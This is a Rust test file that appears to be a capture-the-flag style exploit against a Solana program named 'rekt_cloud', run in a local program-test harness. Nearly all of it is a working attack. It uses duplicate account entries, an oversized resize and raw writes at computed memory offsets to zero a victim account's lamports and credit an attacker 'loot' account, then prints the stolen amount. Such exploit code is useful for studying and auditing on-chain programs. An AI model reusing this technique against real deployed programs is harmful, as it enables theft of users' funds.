test_rekt.rs

use borsh::BorshSerialize;
use rekt_cloud::{Update, Action};
use solana_program::{system_instruction, instruction::AccountMeta, entrypoint::MAX_PERMITTED_DATA_INCREASE};
use solana_program_test::*;
use solana_sdk::{instruction::Instruction, signature::Keypair, signer::Signer, transaction::Transaction};

pub async fn process_transaction(
    context: &mut ProgramTestContext,
    instructions: &[Instruction],
    signers: &[&Keypair],
) -> Result<(), BanksClientError> {
    let recent_blockhash = context.banks_client.get_latest_blockhash().await?;

    let mut all_signers = vec![&context.payer];
    all_signers.extend_from_slice(signers);

    let transaction = Transaction::new_signed_with_payer(
        &instructions,
        Some(&context.payer.pubkey()),
        &all_signers,
        recent_blockhash,
    );

    context.banks_client.process_transaction(transaction).await
}

#[tokio::test]
async fn test_rekt() {
    let pt = ProgramTest::new("rekt_cloud", rekt_cloud::ID, None);
    let mut context = pt.start_with_context().await;
    let rent = context.banks_client.get_rent().await.unwrap();

    let rekt_user_keypair = Keypair::new();
    let update = Update {
        actions: vec![Action::Initialize],
    };

    let space: usize = 1_000_000;
    let rekt_storage_rent = rent.minimum_balance(space);

    let rekt_storage_keypair = Keypair::new();
    let payer_address = context.payer.pubkey().clone();

    // Rekt user creates a storage of many bytes on rekt cloud
    process_transaction(
        &mut context,
        &[
            system_instruction::create_account(&payer_address, &rekt_storage_keypair.pubkey(), rekt_storage_rent, space as u64, &rekt_cloud::ID),
            Instruction {
                program_id: rekt_cloud::ID,
                accounts: vec![
                    AccountMeta::new_readonly(rekt_user_keypair.pubkey(), true),
                    AccountMeta::new(rekt_storage_keypair.pubkey(), false),
                ],
                data: update.try_to_vec().unwrap(),
            }
        ],
        &[&rekt_user_keypair, &rekt_storage_keypair],
    )
    .await
    .unwrap();

    // pawn
    // We want to 0 the rekt storage lamports and set a recipient lamports to rekt storage lamports
    // We cannot directly use the payer as repeated accounts are not duplicated in memory so we send it somewhere else we also control
    // https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316
    let attacker_storage = Keypair::new();
    let attacker_loot_keypair = Keypair::new();
    let attacker_storage_rent = rent.minimum_balance(32);

    let rekt_storage_pre_lamports = context.banks_client.get_balance(rekt_storage_keypair.pubkey()).await.unwrap();
    let expected_lamports_after_drain = rekt_storage_pre_lamports;

    let rekt_storage_account_lamports_offset: u64 = 32 + MAX_PERMITTED_DATA_INCREASE as u64 + // end of attacker storage data
        8 + // align (none) + rent
        (1 + 7) * 4 + // 4 duplicate attacker storage accounts
        1 + 1 + 1 + 1 + 4 + 2 * 32; // all the way to account lamports

    // Where did the last account go?!?
    let attacker_loot_lamports_offset: u64 = rekt_storage_account_lamports_offset +
        8 + 8 + space as u64 + MAX_PERMITTED_DATA_INCREASE as u64 + // end of attacker loot data
        8 + // all the way to the end of rekt storage account
        1 + 1 + 1 + 1 + 4 + 2 * 32; // all the way to account lamports 

    println!("{} {}", rekt_storage_account_lamports_offset, attacker_loot_lamports_offset);
    let update_to_pawn = Update {
        actions: vec![
            Action::Initialize,
            Action::Resize { size: 100_000_000 }, // data_len to have raw data access to all accounts, hopefully landing nowhere useful not breaking anything
            Action::Write { offset: rekt_storage_account_lamports_offset, data: 0u64.to_le_bytes().to_vec() }, // Write rekt storage lamports to 0
            Action::Write { offset: attacker_loot_lamports_offset, data: expected_lamports_after_drain.to_le_bytes().to_vec() }, // Write attacker lamports to += original_rekt_storage.lamports expected_lamports_after_drain.to_le_bytes().to_vec()
            Action::Resize { size: 32 }, // Write back the reasonable data_len we are paying rent for
        ],
    };
    println!("rekt storage pubkey bytes {:?}, initial lamports bytes {:?}", rekt_storage_keypair.pubkey().to_bytes(), rekt_storage_pre_lamports.to_le_bytes());
    println!("attacker loot pubkey {}, pubkey bytes {:?}", attacker_loot_keypair.pubkey(), attacker_loot_keypair.pubkey().to_bytes());
    process_transaction(
        &mut context,
        &[
            system_instruction::create_account(&payer_address, &attacker_storage.pubkey(), attacker_storage_rent, 32, &rekt_cloud::ID),
            Instruction {
                program_id: rekt_cloud::ID,
                accounts: vec![
                    AccountMeta::new_readonly(payer_address, true),
                    AccountMeta::new(attacker_storage.pubkey(), false),
                    AccountMeta::new(attacker_storage.pubkey(), false),
                    AccountMeta::new(attacker_storage.pubkey(), false),
                    AccountMeta::new(attacker_storage.pubkey(), false),
                    AccountMeta::new(attacker_storage.pubkey(), false),
                    // The trailing rekt storage the program writes to by accident
                    AccountMeta::new(rekt_storage_keypair.pubkey(), false),
                    // The trailing attacker loot that will receive the stolen lamports
                    AccountMeta::new(attacker_loot_keypair.pubkey(), false),
                ],
                data: update_to_pawn.try_to_vec().unwrap(),
            }
        ],
        &[&attacker_storage],
    )
    .await
    .unwrap();

    let stolen_lamports = context.banks_client.get_balance(attacker_loot_keypair.pubkey()).await.unwrap();
    println!("Stolen lamports: {}", stolen_lamports);

    // Done
}